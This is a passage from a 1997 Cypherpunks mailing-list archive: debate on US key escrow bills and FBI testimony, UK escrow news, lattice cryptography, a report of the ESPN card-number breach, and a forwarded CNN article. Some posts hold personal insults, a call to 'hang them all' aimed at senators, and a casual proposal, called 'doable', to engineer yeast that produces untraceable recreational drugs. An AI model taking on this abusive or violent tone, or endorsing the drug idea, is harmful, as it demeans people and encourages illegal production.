that data from Colorado, Mississippi, New Mexico,
and North Carolina may be under reported. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 10 Jul 1997 02:19:10 +0800
To: Kevin.L.Prigge-2@tc.umn.edu
Subject: Re: Jim Bell reference
In-Reply-To: <33c3b8125eb0002@earth.tc.umn.edu>
Message-ID: <199707091809.LAA02522@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Kevin L Prigge writes:
> 
> Dorothy Denning taught a class (COSC 511) "Information Warfare"
> Spring 97. Apparently as an assignment, several students put 
> together an infowar incident database at:
> 
> http://www.georgetown.edu/users/samplem/iw/
> 
> Jim Bell's case is mentioned under:
> 
> http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html


Wow.  This is the most blatant propaganda I've seen in a long time.
It's full of so much inaccurate info that it can't be an accident.



Their blurb on Bell says:

"In his "Assassination Politics," Bell suggests that IRS
agents are not protected against violent acts,
because they have stolen taxpayers' money. He also
initiates a betting pool as to what government
employees and officeholders would be assassinated."


If I remember correctly, Bell never 'initiates'[sic] anything, he
just talked about it.

They cites a Netly News article by Declan McCullagh
(http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)

Declan's article doesn't say, or even imply, that Bell actually
set up his AP betting pool.  The "database" authors apparently wanted
to make a point by making his crime seem to be real, and were willing
to stretch the truth to do so.

This fits in with the rest of the "database".  Take a look
at the 'terrorisim' category.  Most of the 'terrorists' crimes
(or more correctly, arrests- this database seems to assume that
being arrested or charged with a crime makes one guilty) are
horrible terrorist crimes like sending hate email, or suggesting that a state
senator who vociferously supports mountain lion hunting be
"hunted down and skinned and mounted".  In that one the 
California state senator somehow becomes a US senator...
(http://www.georgetown.edu/users/samplem/iw/html/iw_database_90.html)

The "database" is filled with inaccurately-labeled "data".  I'd
be willing to bet that it will be used to support the "Info war"
military-industrial-complex money grab:  "Look, a study at
Gorgetown shows that we've had three incidents of Internet terrorisom
in 1997 alone, one against a US senator!"


Feh.  "Research" like this makes me puke.


BTW, you can add you own "IW incidents" via a form at
http://www.georgetown.edu/users/samplem/iw/html/feedback.html



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Thu, 10 Jul 1997 00:22:02 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell reference
Message-ID: <33c3b8125eb0002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Dorothy Denning taught a class (COSC 511) "Information Warfare"
Spring 97. Apparently as an assignment, several students put 
together an infowar incident database at:

http://www.georgetown.edu/users/samplem/iw/

Jim Bell's case is mentioned under:

http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Jul 1997 01:46:50 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>
Message-ID: <893k0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 07:18 PM 7/8/97 EDT, you wrote:
> >
> >Casey Iverson <iverson@usa.net> writes:
> >
> >> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
> >>
> >> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
> hardware
> >> >I think it's sort of a change for the better.
> >>
> >> The only meaningfull upgrade would be a total replacement of his fucked up
> >> disease ridden perverted brain.
> >>
> >> C.I.
> >
> >Not that I advocate such censorship, but usa.net is very fond of pulling the
> >plugs on its free accounts whenever there are complaints about contents. :-)
> >
> 
> Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
> TC May insult bot???


Have you tried complaining to the European Envelope manufacturers
association in Switzerland???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 11 Jul 1997 18:36:36 +0800
To: cypherpunks@Algebra.COM
Subject: Controversy over UK escrow proposal (fwd)
Message-ID: <Pine.LNX.3.91.970709125805.243B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 09 Jul 1997 12:08:13 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
To: ukcrypto@maillist.ox.ac.uk
Cc: prz@pgp.com
Subject: Controversy over UK escrow proposal

This may be of interest, as the first news report that a government
department is going on the record to oppose the escrow proposals of
another government department.

Ross


Encryption: NHS FIGHTS TO BE EXEMPT FROM TTP

Service claims key data access would breach patient confidentiality

(Network Week v 2 no 41 (9/7/97), front page lead)

By Daryl Wilcox

The NHS has demanded to be exempt from proposed regulations requiring
encryption keys to be lodged with a trusted third party (TTP).

  The NHS said it was concerned that if keys to medical data were
held by TTPs, as proposed by the DTI for access by law enforcernent
agencies, patients would lose confidence in the service's commitment
to confidentiality.

  A source close to the DTl confirmed last week that the NHS had
called for an exemption from TTP rules in a submission to the DTI on
its proposals. The NHS is keen to be free to adopt encryption to
allow the electronic movement of patient records between hospitals
and GPs.

  The move looked likely to fuel widespread objection to the
proposals from commerce and civil liberties groups, who would
interpret the NHS position as a blow to thc credibility of a
compulsory TTP system.

  Marion Bain, hcad of data protection issues at the Common Services
Agency of the NHS, raised the NHS's concerns at last week's annual
conference of data protection professionals' club Privacy and
Business.

  ``The NHS concerns are different to business con- cems,'' she
said. ``Patients would be resistant to the electronic transfer of
their information if they thought access to it was available to a
third party. The NHS would welcome being exempt from TTP rules.''

  A source close to tlie DTI said: ``The NHS wants no part of a TTP
rule. They have fought hard for patient data to only be made
available to clinical practitioners and they want to preserve this.''

(ends)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 10 Jul 1997 02:56:13 +0800
To: "C. Harald Koch" <chk@utcc.utoronto.ca>
Subject: Re: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707091850.NAA02300@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul9.143005edt.11649@janus.tor.securecomputing.com>, on 07/09/97 
   at 02:35 PM, "C. Harald Koch" <chk@utcc.utoronto.ca> said:

>In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald
>Weightman writes: > 
>>         What's a "potential" terrorist? (Is the occasional apparent c'punx
>> paranoia justified?)

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

>I also think it's particularly amusing that an American is lecturing a
>German about terrorism. Who has more experience with the subject, anyway?

With dealing with terrorist or as acting like terrorist??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM8PdwY9Co1n+aLhhAQHHRwQAs7nDTaok/4u513w7fmlHlJkSkWvZReto
MjXXuj8yaD/9TfR5WVYYVueGFmiztXklDAYDOeoJPhoTWvA9yaHL1vpoBzGWlW/d
LEQSN91ioyOd1HB1HEWXTyPf1oIss5KUosRKCRgucHkIIAD19ctBQ5oeEZ6dVPY0
COEgjuM/B+s=
=6Pvs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Harald Koch" <chk@utcc.utoronto.ca>
Date: Thu, 10 Jul 1997 02:47:01 +0800
To: Donald Weightman <dweightman@Radix.Net>
Subject: Re: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
MIME-Version: 1.0
Content-Type: text/plain



In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald Weightman writes:
> 
>         What's a "potential" terrorist? (Is the occasional apparent c'punx
> paranoia justified?)

I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
statement.

I also think it's particularly amusing that an American is lecturing a German
about terrorism. Who has more experience with the subject, anyway?

Sheesh.

-- 
Harald Koch <chk@utcc.utoronto.ca>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peterson, Doug" <dpeterson@jonescyber.com>
Date: Thu, 10 Jul 1997 07:30:12 +0800
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199707092310.QAA11848@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is my first post to the list.  I though this might be interesting.

Taken from:
http://wire.ap.org/APwire/pages/center/?STORYOID=206f.599a&FRONTID=TECHN
OLOGY&SLOC=AP&SKEY=LATECLAMMOSSFUMEELANFUM&SLOG=sidebar

07/09/1997 17:34 EST 

FBI Wants Computer Decoding Ability 

By CASSANDRA BURRELL 
Associated Press Writer 

WASHINGTON (AP) -- American law enforcers want to be allowed to decode
scrambled computer messages during investigations in much the same way
as they now use wiretaps, FBI director Louis Freeh said Wednesday. 

Freeh's plea in Senate testimony came as the computer industry bitterly
fights bills aiming to restrict the export of sophisticated
data-scrambling devices to foreign computer users. 

Offenders inside the United States are turning increasingly to computers
to commit such crimes as child molestation, child pornography and drug
trafficking, Freeh told the Senate Judiciary Committee. Some
investigations are hindered by the criminal use of complex equipment
that scrambles messages into codes that are all but impossible to crack
without code keys. 

``Major drug dealers are now using encrypted communications, and they
are using it to our distinct disadvantage,'' Freeh said. 

The best solution would include setting up a key recovery system where
developers of encryption devices deposit ``keys'' with a third party
that can unscramble their codes, he said. As with wiretaps, authorities
would have to obtain court orders to make the keys available for law
enforcement. 

The same data-scrambling technology that is making the Internet a safer,
more secure place to do business is causing headaches on Capitol Hill,
where lawmakers are struggling with its regulation. 

On one side are computer software and hardware developers trying to
compete with companies operating abroad without restrictions. On the
other side are enforcement authorities who say they don't want to tie
the hands of U.S. businesses but need a way to eavesdrop on computer
criminals. 

``At stake are some of our most valuable and reliable investigative
techniques and the public safety of our citizens,'' Freeh said. Without
a key system, ``the ability of law enforcement to investigate and
sometimes prevent the most serious crimes and terrorism will be severely
impaired. Our national security will also be jeopardized.'' 

Currently, encryption technology is sold without restriction inside the
United States. 

In an attempt to keep pace with technology advancing at lightning speed,
the Clinton administration relaxed export controls last year. The
computer industry complained the loosening didn't go far enough. 

``The current law is unacceptable. The status quo is unacceptable,''
said Sen. Bob Kerrey, D-Neb., co-sponsor of one of several encryption
bills moving through Congress. 

Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
up a key recovery system to give computer companies strong incentives to
make keys available to investigators who obtain a court's permission. It
would link companies' cooperation to quicker, easier export rules. 

The Senate Commerce Committee approved the bill last month and
recommended the full Senate pass it. A more liberal bill sponsored by
Sen. Conrad Burns, R-Mont., and Sen. Patrick Leahy, D-Vt., fell by the
wayside. 

The Business Software Alliance, a coalition of computer businesses,
promptly denounced the Kerrey-McCain bill as ``a step backward'' that
would hurt American competitiveness. 

``Strong cryptography is exactly like a good safe,'' said Raymond Ozzie,
chairman of Iris Associates, a subsidiary of Lotus Development and IBM
Corp. ``The best safe in the world cannot protect you if the combination
is written on a scrap of paper and left lying around or is otherwise
known to the safe cracker,'' he said in testimony submitted to the
Senate committee. 

A House bill introduced by Rep. Bob Goodlatte, R-Va., would bar the
government from requiring businesses to set aside keys. 

The Clinton administration has criticized that bill. Its provisions, the
administration said, would ``severely compromise law enforcements'
ability to protect the American people from the threats posed by
terrorists, organized crime, child pornographers, drug cartels,
financial predators, hostile foreign intelligence agents and other
criminals.'' 

Doug Peterson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: edgarswank@juno.com (Edgar W Swank)
Date: Thu, 10 Jul 1997 08:29:57 +0800
To: Cypherpunks@cyberpass.net
Subject: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Message-ID: <19970709.171758.10958.3.edgarswank@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Two scientists at the IBM Almaden Research Center in San Jose,
Calif.  have developed a new approach to public key cryptography
based on mathematical constructs called lattices.  The system
would be based on a particular set of hidden hyperplanes that
constitute the private key and a method of generating points near
one of those hyperplanes for the public key.  The security of the
system rests on the computational difficulty of finding the
"unique" shortest line segment (or vector) that connects any two
points in a given lattice -- a task that's fairly easy in two or
three dimensions, but much more difficult in a 100-dimensional
lattice.  The researchers are working to turn their theory into a
marketable product, and see applications in creating digital
signatures and other security and authentication schemes.
(Science News 5 Jul 97)

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <cryoprez@jps.net>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Thu, 10 Jul 1997 07:30:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A really  meaningfull upgrade
Message-ID: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
VULIS 
 gives us an an example of his KGB inspired humor:

>Have you tried complaining to the European Envelope manufacturers
>association in Switzerland???

C.I.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Jul 1997 09:00:09 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Potential terrorists
Message-ID: <199707100037.UAA06462@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Potential terrorists is I believe a term of art.

It is basically someone who has acquired the means to conduct terrorism, is
believed to have the intent but is not known to have committed an act.

Its basically someone in an advanced stage of a conspiracy. If the FBI had
got wind of McVeigh a week before the bombing and knew he had the truckload
of explosives he would fit this description.


Thing I missed on the Bonn report was any indication about the UK
government's policy. I suspect that this means it is either in accord with
the rest of Europe or more likely as yet undetermined. Statements to the
effect that they are following the Tory/US line seem to fit baddly. If the
UK was acting as appostles for the US they would have stated their
position.

I believe the UK government is an important key. The UK inevitably has more
influence in the US than the rest of Europe since the language and legal
systems are compatible. The reverse is also true and in the past more so
because the Tories were desperate to have US nuclear arms. If the US can't
bend the UK to its side it has lost the argument in Europe.

The Blair administration has a massive legislative program ahead of it
undoing 18 years of Tory mismanagement and corruption. They are very
carefull to avoid any issue which they think may take a lot of
parliamentary time. A small number of Labour backbenchers who support our
cause could therefore prevail.



Phill











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 03:34:28 +0800
To: cypherpunks@toad.com
Subject: Re: More on crypto from Bonn
Message-ID: <199707091919.VAA27741@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Donald Weightman wrote:
> What's a "potential" terrorist? (Is the occasional apparent c'punx

One who plans with intent terrorist activities, yet whom has not carried
them out.

> How is the US export policy discriminatory?

Banks are routinely permitted strong encryption export, or did you sleep
through that part of the EAR.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 10 Jul 1997 09:48:16 +0800
To: cypherpunks@Algebra.COM
Subject: Hacker cracks ESPN
In-Reply-To: <199707092258.PAA09560@central.cnet.com>
Message-ID: <3.0.2.32.19970709213334.006ec08c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



---------------------------------------------------------------------------
   CNET NEWS.COM Dispatch  *  385,000 Readers     Wednesday, July 9, 1997
---------------------------------------------------------------------------
                          TOP NEWS.COM STORIES FOR TODAY
----------------------------------------------------------------------------

HACKER TAKES CREDIT CARD NUMBERS, OTHER INFORMATION FROM ESPN
        http://www.news.com/News/Item/0%2C4%2C12275%2C00.html?nd

Starwave is warning customers about an "intruder" who took credit card
numbers from the ESPN and NBA Web sites and then sent messages to the card
owners about the alleged security flaws. Will the security breach on the
popular sports sites affect emerging e-commerce efforts?

----------------------------------------------------------------------------



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 04:01:27 +0800
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <199707091938.VAA00718@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 8 Jul 1997, Darryl Rowe wrote:

> The Allegro Group, Inc. has incorporated PGP technology in their
> Encryption Gateway for Groupwise. Now, the 8.5 million users of
>
> Now if they can keep this up and get their foot in the door with all
> the other email vendors.

Well you'll also see that PGP Inc. also has a deal with Qualcomm for
Eudora users. See PGP's welcome page for the notice, check the bottom.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 10 Jul 1997 12:46:42 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: <v0300780aafea022b2902@[168.161.105.191]>
Message-ID: <v03102804afea16def968@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>SEN. CHARLES GRASSLEY (R): Tried to paint himself as
>someone who understands the dangers of government
>power by noting he joined many Republicans in opposing
>roving wiretaps last summer, but then spoke darkly of
>pedophiles armed with crypto. "Encryption is hindering
>the investigation of chid sex offenders," Grassley
>warned. He told how Colorado police couldn't break
>into a teen's password-protected electronic organizer
>where incriminating information might be stored.
>
>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
>state but still was concerned about the uncontrolled
>spread of encryption. Said to Freeh: "You've made a
>clear and compelling case for key recovery. If it was
>understood by the American people, they'd be
>supportive." Followed up on Grassley's point about the
>passworded organizer by asking Kerrey, "Without
>revealing the classified briefing you participated in
>and we have recently, what's puzzling me is that the
>Colorado law enforcement doesn't have any recourse to
>be able to break into a system." She said she thought
>that the FBI could tunnel into such a device, but FBI
>director Louis Freeh shook his head no.

We need to find out what software the teen was using.  I can see the ads now...

WANT TO TRUST YOUR IMPORTANT DATA TO UNPROVEN SECURITY SOFTWARE?

USE "SAFEHOUSE" AND EVEN THE FEDS WON'T BE ABLE TO FIND YOUR GROCERY LIST!

--$teve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 10 Jul 1997 11:21:55 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707100255.VAA07163@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   navigation 
   
   
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            OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
                                       
     Chretien Dehaene July 9, 1997
     Web posted at: 9:10 p.m. EDT (0110 GMT)
     
     From Senior White House Correspondent Wolf Blitzer
     
     MADRID, Spain (CNN) -- Canadian Prime Minister Jean Chretien,
     apparently unaware that he was talking into an open microphone, was
     videotaped Wednesday making some rather undiplomatic comments about
     Bill Clinton, joking that the U.S. president formed his position
     about NATO expansion because he thought it would win votes at home.
     
     Chretien's remarks were caught on videotape as he talked with
     Belgian Prime Minister Jean-Luc Dehaene and Luxembourg's Prime
     Minister Jean-Claude Juncker before a NATO meeting in Madrid.
     
     Apparently unaware the microphone in front of him was on, Chretien
     bragged that his country does not let the United States dictate its
     policy, and suggested American politicians make decisions solely for
     reasons of expediency.
     
     "In your country, in my country, all the politicians would be in
     prison because they sell their votes," Chretien said.
     
     He also said Clinton was in favor of inviting Poland, Hungary and
     the Czech Republic to join NATO because it would woo voters.
     
     Speaking in French, the Canadian prime minister said: "It's not
     reasons of state. It's all done for short-term political reasons, to
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     states. That has noting to do with world security. It's because in
     Chicago, Mayor (Richard M.) Daley controls lots of votes for the
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     The three leaders laughed as they waited for the Clinton and his
     advisers to arrive for the meeting.
     
     Juncker asked, "And if we started without them?"
     
     "To prove that we know what to do without them," Dehaene added.
     
     "To prove we're independent. He (Chretien), he's used to not doing
     what they want," Juncker said.
     
     "I make it my policy," Chretien said. "But it's popular. The Cuba
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     The three leaders chuckled among themselves.  
     rule CNN Plus 
     * Jean Chretien 
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     * NATO agrees to add 3 countries, official says - July 8, 1997
     * Clinton faces fight at home and abroad over NATO expansion - July
       7, 1997
     * On summit eve, NATO divided on new members - July 7, 1997
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 10 Jul 1997 13:03:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: <v0300780aafea022b2902@[168.161.105.191]>
Message-ID: <v03102803afea1a736f3a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:

>Here's a cast of characters from today's hearing...

Except maybe for Ashcroft--and it may be too soon to tell about him--the
rest have just shown their expected colors. I say we just hang them all and
be done with it.

...
>SEN. PATRICK LEAHY (D): The Senate's supposed defender
>of crypto-freedom was at best a milquetoast one today.
...

Many of us warned long ago that Leahy was no friend of liberty, despite his
soothing comments at the SAFE forum last summer. His support of other
statist policies makes him just another fool on the Hill.

...
>SEN. BOB KERREY (D): Perhaps gaining confidence in his
>political backing, Sen. Bob Kerrey spoke at length
>about the dangers of uncontrolled *domestic* use of
>crypto. "The current law is unacceptable. The status
>quo is unacceptable," he said. At one point he talked
>about scrapping any legislative changes to export
>rules -- and focusing instead just on domestic crypto
>and domestic key escrow.

A law to ban domestic use of strong crypto is coming. All it will take is
some horrific incident--another bombing in a building, another Dahmer case,
etc., where crypto is involved in any way. This will be the catalyst for
the outlawing of unapproved crypto.

The Supreme Court may or may not then overturn such a ban. (To most of us,
of course, the free speech issues are crystal clear: no law may dictate the
form of speech, especially when no issues of "interstate commerce" or
"obscenity" are anywhere in sight. To make felons out of those who write in
code in their electronic journals is something even Orwell seems to have
missed. Though in Orwell's case I suppose it was because the keeping of
journals was itself a crime, one Winston was able to hide due to the layout
of his room. One wonders when Kerrey, Clinton, and McCain will think of
banning journals except when copies are deposited weekly at the Diary
Recovery Agency.)

...
>SEN. JOHN KYL (R): Criticized Kerrey for being too
>moderate. "My own view is that the legislation does
>not go far enough," Sen. Kyl said of the McCain-Kerrey
...

The competition to outdo the others is beginning, signalling the usual
stampede toward the passage of a bill.

>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
...

Always the lug nut.

They all deserve what they get.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 11 Jul 1997 03:45:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707100510.WAA13559@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

   ----
  '@  *> Timothy Mayhem
  |\   7
 / `-- _





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 10 Jul 1997 13:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Recreational pharmaceuticals by genetic engineering
Message-ID: <v03102807afea1f8f0451@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I know this is off-topic for the list...

But why hasn't some cleaver graduate student engineered a common mold or
yeast to yield easily extracted (or directly ingestible) common
recreational pharmaceuticals?  Ideally it would be a perpetual source, like
sour dough starter, and easily cultured.  Once distributed to the street it
would be impossible to stop or track (since no controlled chemicals would
be required for production).

--$teve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:37:02 +0800
To: mwohler@ix.netcom.com (Marc J. Wohler)
Subject: Re: can i join
In-Reply-To: <3.0.16.19970707115957.44179a86@popd.ix.netcom.com>
Message-ID: <199707100336.WAA00231@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0@aol.com wrote:
> >> thanx
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

	Easy. Everyone wants to be at least considered part of the elite.

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:44:37 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <24eH0D4w165w@bwalk.dm.com>
Message-ID: <199707100339.WAA00249@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, I'm not having any "problems" with bwalk (the only computer with the
> modem - others are in no way connected to the internet for security reasons)
> I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardware
> before I add NT 4.0.

	I'd say that is a problem. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 10 Jul 1997 14:01:40 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <3.0.2.32.19970709224723.0073e670@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:21 PM 7/9/97 -0700, Steve Schear wrote:
>I know this is off-topic for the list...
>
>But why hasn't some cleaver graduate student engineered a common mold or
>yeast to yield easily extracted (or directly ingestible) common
>recreational pharmaceuticals?

Its a bit of work, but certainly doable. Interesting idea.

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 10 Jul 1997 11:58:41 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: [MILCOM] NSA: struggling with diversity ...
In-Reply-To: <199707080601.IAA14197@basement.replay.com>
Message-ID: <199707100400.XAA00403@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> We need a new agency, one to defend us against infowar, to help
> industrial competitiveness, to assist Americans in retaining their
> freedoms rather than attempting to strip them away for its own evil
> purposes.  Let us hope that the changing of the guard at the NSA will

	WE are that agency.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Jul 1997 11:25:21 +0800
To: cypherpunks@toad.com
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <v0300780aafea022b2902@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



The Senate Judiciary committee today heard testimony on
key escrow, particularly the "Secure Public Networks
Act" (S. 909) introduced last month. The Senate
Commerce committee on June 19 approved the bill,
backed by Sen. Bob Kerrey and Sen. John McCain, which
would create a national key escrow infrastructure.
Pro-encryption legislation is dead in the Senate;
McCain-Kerrey has taken its place.

Here's a cast of characters from today's hearing...

SEN. ORRIN HATCH (R): Asked what PGP stood for. Hatch,
who chaired the hearing, said "one would expect the
executive branch to lead" on such an important issue
but "the Clinton administration has been all over the
map." Said it's time for Congress to seize the debate,
that it's already "acting as a broker for these
competing interests" and the Senate Judiciary
committee in particular "must serve as a forum for
open debate in this area."

SEN. PATRICK LEAHY (D): The Senate's supposed defender
of crypto-freedom was at best a milquetoast one today.
During his opening remarks, he refrained from
criticizing bills to encourage key recovery; in fact,
he argued that *he's* been pushing key recovery bills
far longer than anyone else. ("There has been _one_
